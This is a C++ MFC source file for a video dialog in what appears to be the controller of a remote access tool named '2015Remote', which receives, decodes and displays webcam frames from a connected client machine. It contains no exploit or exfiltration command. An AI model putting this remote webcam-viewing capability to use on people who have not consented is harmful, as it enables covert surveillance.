1、在主对话框清理子窗口的资源(原先在各自的OnClose函数),通过CLOSE_DELETE_DLG控制。 2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法,解决多次打开崩溃。 3、更新服务端zlib版本为V1.2.11。(与客户端不同,因inflate_fast 崩溃,没有采用汇编)
247 lines
5.4 KiB
C++
247 lines
5.4 KiB
C++
// VideoDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "2015Remote.h"
|
||
#include "VideoDlg.h"
|
||
#include "afxdialogex.h"
|
||
|
||
|
||
enum
|
||
{
|
||
IDM_SAVEAVI, // 保存录像
|
||
};
|
||
// CVideoDlg 对话框
|
||
|
||
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
|
||
|
||
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||
: CDialog(CVideoDlg::IDD, pParent)
|
||
{
|
||
m_ContextObject = ContextObject;
|
||
m_iocpServer = IOCPServer;
|
||
m_BitmapInfor_Full = NULL;
|
||
m_pVideoCodec = NULL; //这里忘记初始化了 我靠
|
||
sockaddr_in ClientAddress;
|
||
memset(&ClientAddress, 0, sizeof(ClientAddress));
|
||
int iClientAddressLength = sizeof(ClientAddress);
|
||
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
|
||
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
|
||
|
||
m_BitmapData_Full = NULL;
|
||
m_BitmapCompressedData_Full = NULL;
|
||
ResetScreen();
|
||
}
|
||
|
||
|
||
void CVideoDlg::ResetScreen(void)
|
||
{
|
||
if (m_BitmapInfor_Full)
|
||
{
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
int iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||
m_BitmapInfor_Full = (LPBITMAPINFO) new BYTE[iBitMapInforSize];
|
||
memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), iBitMapInforSize);
|
||
|
||
m_BitmapData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||
m_BitmapCompressedData_Full = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
|
||
}
|
||
|
||
CVideoDlg::~CVideoDlg()
|
||
{
|
||
if (m_pVideoCodec)
|
||
{
|
||
delete m_pVideoCodec;
|
||
m_pVideoCodec = NULL;
|
||
}
|
||
|
||
if (m_BitmapData_Full)
|
||
{
|
||
delete m_BitmapData_Full;
|
||
m_BitmapData_Full = NULL;
|
||
}
|
||
|
||
if (m_BitmapInfor_Full)
|
||
{
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
if (m_BitmapCompressedData_Full)
|
||
{
|
||
delete m_BitmapCompressedData_Full;
|
||
m_BitmapCompressedData_Full = NULL;
|
||
}
|
||
}
|
||
|
||
void CVideoDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
|
||
ON_WM_CLOSE()
|
||
ON_WM_SYSCOMMAND()
|
||
ON_WM_PAINT()
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CVideoDlg 消息处理程序
|
||
|
||
|
||
BOOL CVideoDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu != NULL)
|
||
{
|
||
m_hDD = DrawDibOpen();
|
||
|
||
m_hDC = ::GetDC(m_hWnd);
|
||
|
||
SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "保存录像(&V)");
|
||
|
||
CString strString;
|
||
|
||
strString.Format("%s - 视频管理 %d×%d", m_strIPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||
|
||
SetWindowText(strString);
|
||
|
||
BYTE bToken = COMMAND_NEXT;
|
||
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||
}
|
||
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// 异常: OCX 属性页应返回 FALSE
|
||
}
|
||
|
||
void CVideoDlg::OnClose()
|
||
{
|
||
#if CLOSE_DELETE_DLG
|
||
m_ContextObject->v1 = 0;
|
||
#endif
|
||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||
closesocket(m_ContextObject->sClientSocket);
|
||
|
||
CDialog::OnClose();
|
||
#if CLOSE_DELETE_DLG
|
||
delete this;
|
||
#endif
|
||
}
|
||
|
||
void CVideoDlg::OnReceiveComplete(void)
|
||
{
|
||
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_WEBCAM_DIB:
|
||
{
|
||
DrawDIB();//这里是绘图函数,转到他的代码看一下
|
||
break;
|
||
}
|
||
default:
|
||
// 传输发生异常数据
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CVideoDlg::DrawDIB(void)
|
||
{
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu == NULL)
|
||
return;
|
||
|
||
int nHeadLen = 1 + 1 + 4;
|
||
|
||
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
|
||
UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||
if (szBuffer[1] == 0) // 没有经过H263压缩的原始数据,不需要解码
|
||
{
|
||
// 第一次,没有压缩,说明服务端不支持指定的解码器
|
||
/* if (m_nCount == 1)
|
||
{
|
||
pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
|
||
}
|
||
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||
memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);*/
|
||
}
|
||
|
||
else // 解码
|
||
{
|
||
////这里缓冲区里的的第二个字符正好是是否视频解码
|
||
InitCodec(*(LPDWORD)(szBuffer + 2)); //判断
|
||
if (m_pVideoCodec != NULL)
|
||
{
|
||
//pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //视频没有解压
|
||
//这里开始解码,解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式
|
||
m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen,
|
||
(LPBYTE)m_BitmapData_Full, NULL, NULL); //将视频数据解压到m_lpScreenDIB
|
||
|
||
/* m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen,
|
||
(LPBYTE)m_lpScreenDIB, NULL, NULL); //将视频数据解压到m_lpScreenDIB*/
|
||
}
|
||
}
|
||
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
|
||
|
||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||
{
|
||
if (m_pVideoCodec != NULL)
|
||
return;
|
||
|
||
m_pVideoCodec = new CVideoCodec;
|
||
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) //这里忘了格式 匹配了
|
||
{
|
||
OutputDebugStringA("======> InitCompressor failed \n");
|
||
}
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
switch (nID)
|
||
{
|
||
case IDM_SAVEAVI:
|
||
{
|
||
break;
|
||
}
|
||
}
|
||
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
|
||
|
||
void CVideoDlg::OnPaint()
|
||
{
|
||
CPaintDC dc(this); // device context for painting
|
||
|
||
if (m_BitmapData_Full==NULL)
|
||
{
|
||
return;
|
||
}
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
DrawDibDraw
|
||
(
|
||
m_hDD,
|
||
m_hDC,
|
||
0, 0,
|
||
rect.right, rect.bottom,
|
||
(LPBITMAPINFOHEADER)m_BitmapInfor_Full,
|
||
m_BitmapData_Full,
|
||
0, 0,
|
||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight,
|
||
DDF_SAME_HDC
|
||
);
|
||
}
|